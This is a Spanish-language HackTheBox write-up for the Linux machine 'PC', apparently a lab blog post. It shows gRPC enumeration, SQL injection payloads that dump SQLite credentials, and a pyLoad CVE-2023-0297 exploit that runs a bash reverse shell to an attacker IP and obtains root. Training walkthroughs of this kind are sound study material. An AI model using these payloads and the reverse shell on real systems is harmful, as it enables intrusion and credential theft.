Skip to main content

Command Palette

Search for a command to run...

HackTheBox - PC

Updated
•8 min read•View as Markdown
HackTheBox - PC

PC es una máquina Linux que expone un endpoint de gRPC vulnerable a inyección SQL. Enumerando el servicio se descubre que el parámetro id del método getInfo es inyectable y se dumpea la base de datos SQLite obteniendo credenciales válidas. Una vez iniciada sesión como el usuario sau, pyLoad 0.5.0 se ejecuta localmente como root, versión con una vulnerabilidad (CVE-2023-0297) que permite escalar privilegios.

Reconocimiento

# Nmap 7.99 scan initiated Tue Jun  9 19:24:37 2026 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 10000 -n -Pn -v -oN scan 10.129.13.83
Nmap scan report for 10.129.13.83
Host is up (0.041s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_  256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open  grpc
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun  9 19:25:09 2026 -- 1 IP address (1 host up) scanned in 31.61 seconds

Solo dos puertos están abiertos: SSH en el puerto por defecto (22) y gRPC (un framework de llamadas a procedimientos remotos) en el 50051.

Puerto 50051 (gRPC)

Con gRPCurl se puede interactuar con el servicio. echo 'export PATH=$PATH:~/go/bin' >> ~/.zshrc; source ~/.zshrc si no está en el PATH.

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -help                  
Usage:
        grpcurl [flags] [address] [list|describe] [symbol]
(...)

En la documentación se explica como enumerar los servicios con list

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

Con describe se obtienen más detalles del servicio SimpleApp:

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe SimpleApp          
SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}

El output muestra los tipos de entrada que espera cada método y sus respuestas. Inspeccionamos los tipos nuevamente con describe:

LoginUser y RegisterUser aceptan username y password strings:

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe LoginUserRequest
LoginUserRequest is a message:
message LoginUserRequest {
  string username = 1;
  string password = 2;
}
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe RegisterUserRequest
RegisterUserRequest is a message:
message RegisterUserRequest {
  string username = 1;
  string password = 2;
}

getInfo acepta únicamente un id:

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe getInfoRequest     
getInfoRequest is a message:
message getInfoRequest {
  string id = 1;
}

Sabiendo esto, se puede crear una cuenta y autenticarse.

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.RegisterUser
message: "Account created for user test!"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.LoginUser   
message: "Your id is 756."

Pero, tratando de consultar getInfo con:

grpcurl -plaintext -format text -d 'id: "895"' 10.129.13.83:50051 SimpleApp.getInfo

Se obtiene el siguiente error: Authorization Error.Missing 'token' header. Curioso, porque al describir el endpoint solo se indicaba el campo id. Esto sugiere que el servidor devuelve algún header adicional fuera del cuerpo de la respuesta que no se muestra por defecto. Repitiendo el login con -vv (very verbose) para ver la respuesta completa:

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -vv -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.LoginUser                                                                                                             

Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );

Request metadata to send:
(empty)

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Estimated response size: 17 bytes

Response contents:
message: "Your id is 606."

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NDc1Nn0.03GV8rFStIydtqDBLiLhfUGiq7qSxomIjxLBFjF933M'
Sent 1 request and received 1 response
Timing Data: 255.527235ms
  Dial: 80.385357ms
    BlockingDial: 80.374662ms
  InvokeRPC: 134.369893ms

Se revelan los response trailers, donde se encuentra un JWT (JSON Web Token) que se tiene que pasar como header. Con ello, ahora se obtiene un mensaje de vuelta "Will update soon":

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NDc1Nn0.03GV8rFStIydtqDBLiLhfUGiq7qSxomIjxLBFjF933M' -d 'id: "606"' 10.129.13.83:50051 SimpleApp.getInfo
message: "Will update soon."

SQLi en gRPC

El servicio maneja usuarios con credenciales e IDs, lo que implica casi con certeza la existencia de una base de datos detrás. Probando si el parámetro id es inyectable con OR 1=1 la respuesta cambia, confirmando la inyección:

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 OR 1=1"' 10.129.13.83:50051 SimpleApp.getInfo
message: "The admin is working hard to fix the issues."

Determinar número de columnas

-d 'id: "777 UNION SELECT 1-- -"'
# message: "1"  ← una sola columna

Identificar el motor de base de datos

-d 'id: "777 UNION SELECT sqlite_version()--"'
# message: "3.31.1"  ← SQLite confirmado

Enumerar tablas

-d 'id: "777 UNION SELECT name FROM sqlite_master WHERE type=\"table\";-- -"'
# message: "accounts"

Enumerar columnas de la tabla accounts

-d 'id: "777 UNION SELECT GROUP_CONCAT(name, \",\") FROM pragma_table_info(\"accounts\");--"'
# message: "username,password"

Dumpear credenciales

-d 'id: "777 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"'
# message: "adminadmin,sauHereIsYourPassWord1431"
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT 1-- -"' 10.129.13.83:50051 SimpleApp.getInfo
message: "1"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT sqlite_version()--"' 10.129.13.83:50051 SimpleApp.getInfo 
message: "3.31.1"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT name                       
FROM sqlite_master WHERE type=\"table\";-- -"' 10.129.13.83:50051 SimpleApp.getInfo
Error invoking method "SimpleApp.getInfo": error getting request data: line 1, col 5: invalid syntax

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT name FROM sqlite_master WHERE type=\"table\";-- -"' 10.129.13.83:50051 SimpleApp.getInfo                            
message: "accounts"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT GROUP_CONCAT(name, \",\") FROM pragma_table_info(\"accounts\");--"' 10.129.13.83:50051 SimpleApp.getInfo                                 
message: "username,password"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"' 10.129.13.83:50051 SimpleApp.getInfo                                 
message: "adminadmin,sauHereIsYourPassWord1431"

Se obtienen las credenciales sau:HereIsYourPassWord1431, que permiten el acceso por SSH:

Escalada de Privilegios

Enumerando los puertos internos, aparecen dos interesantes: el 8000, que solo escucha en localhost, y el 9666, que escucha en todas las interfaces pero no apareció en el scan de nmap inicial. Para poder interactuar con ellos desde nuestra máquina atacante, se hace port forwarding con SSH:

┌──(root㉿kali)-[/home/noc]
└─# ssh -f -N -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.129.13.83

El puerto 9666 nos redirige al login de pyLoad, un gestor de descargas con interfaz web escrito en Python.

Se comprueba su versión y quién ejecuta el servicio:

sau@pc:~$ pyload --version
pyLoad 0.5.0
sau@pc:~$ ps aux | grep pyload
root        1043  0.0  1.8 1227064 72056 ?       Ssl  Jun09   0:05 /usr/bin/python3 /usr/local/bin/pyload
sau         2157  0.0  0.0   8160  2572 pts/0    S+   02:05   0:00 grep --color=auto pyload

El proceso se ejecuta como root. Buscando vulnerabilidades de pyload 0.5.0, se descubre que esta versión tiene asignada la CVE-2023-0297, una RCE sin autenticación. Se abusa de js2py para inyectar y ejecutar código Python arbitrario a través del endpoint /flash/addcrypted2.

CVE-2023-0297

El endpoint /flash/addcrypted2 (puerto 8000) recibe el parámetro jk desde el cuerpo de la petición y lo evalúa directamente como JavaScript mediante js2py.eval_js(), sin ningún tipo de sanitización:

jk = flask.request.form["jk"]
jk = eval_js(f"{jk} f()")

js2py es una librería que ejecuta JavaScript en Python, y entre sus funcionalidades soporta pyimport, una sentencia que permite importar módulos Python desde el contexto JavaScript. Esto significa que desde el valor del parámetro jk se puede importar el módulo os de Python y llamar a os.system() para ejecutar comandos en el sistema:

pyimport os; os.system("id")

El endpoint no requiere autenticación ni CSRF token, por lo que cualquier atacante con acceso al servicio puede explotarla directamente con una simple petición POST.

Se puede crear una reverse shell en la máquina víctima:

sau@pc:/tmp$ cat revs.py                                                   
import os
os.system("bash -c '/bin/sh -i >& /dev/tcp/10.10.14.190/4444 0>&1'")

El payload que inyectaremos en el parámetro jk será simplemente pyimport os; os.system("python3 /tmp/revs.py"), que importa el módulo os de Python desde el contexto de js2py y ejecuta nuestro script:

┌──(root㉿kali)-[/home/noc]
└─# curl -i -s -k -X \('POST' --data-binary \)'jk=pyimport%20os;os.system(\"python3%20/tmp/revs.py\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://localhost:8000/flash/addcrypted2
┌──(root㉿kali)-[/home/noc]
└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.13.83] 34932
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
57a4192b1d...